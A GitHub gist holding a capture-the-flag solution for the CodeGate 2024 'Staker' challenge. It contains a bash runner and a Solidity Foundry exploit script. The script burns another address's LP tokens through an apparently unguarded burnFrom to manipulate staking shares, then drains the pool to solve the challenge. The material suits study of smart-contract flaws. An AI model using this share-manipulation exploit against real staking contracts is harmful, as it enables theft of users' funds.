Skip to content

Instantly share code, notes, and snippets.

@KaoRz

KaoRz/Exploitoor.s.sol

Created June 3, 2024 14:41
Show Gist options
  • Save KaoRz/8c47067f0d3d91122cf286f5b9ccf30e to your computer and use it in GitHub Desktop.
Save KaoRz/8c47067f0d3d91122cf286f5b9ccf30e to your computer and use it in GitHub Desktop.
Download ZIP
Staker - CodeGate Qualifier 2024
Raw
exploit.sh
#!/bin/bash
export $(cat .env | xargs)
forge script script/Exploitoor.s.sol:ExploitScript --fork-url $CTF_RPC_URL --private-key $PRIVATE_KEY --broadcast
sleep 10
forge script script/Exploitoor.s.sol:FinalizeChallenge --fork-url $CTF_RPC_URL --private-key $PRIVATE_KEY --broadcast
Raw
Exploitoor.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import {Token} from "src/Token.sol";
import {LpToken} from "src/LpToken.sol";
import {StakingManager} from "src/StakingManager.sol";
import {Setup} from "src/Setup.sol";
contract ExploitScript is Script {
Setup private setup;
Token private token;
LpToken private lptoken;
StakingManager private stakingmanager;
function setUp() public {
setup = Setup(vm.envAddress("SETUP_ADDRESS"));
token = setup.token();
stakingmanager = setup.stakingManager();
lptoken = stakingmanager.LPTOKEN();
}
function run() public {
vm.startBroadcast();
setup.withdraw();
lptoken.burnFrom(address(setup), lptoken.balanceOf(address(setup)));
uint256 initBalance = token.balanceOf(msg.sender);
token.approve(address(stakingmanager), initBalance);
stakingmanager.stake(initBalance);
lptoken.burnFrom(msg.sender, lptoken.balanceOf(msg.sender) - 1e18);
vm.stopBroadcast();
}
}
contract FinalizeChallenge is Script {
Setup private setup;
Token private token;
LpToken private lptoken;
StakingManager private stakingmanager;
function setUp() public {
setup = Setup(vm.envAddress("SETUP_ADDRESS"));
token = setup.token();
stakingmanager = setup.stakingManager();
lptoken = stakingmanager.LPTOKEN();
}
function run() public {
vm.startBroadcast();
stakingmanager.unstakeAll();
token.transfer(address(setup), token.balanceOf(msg.sender));
require(setup.isSolved());
vm.stopBroadcast();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment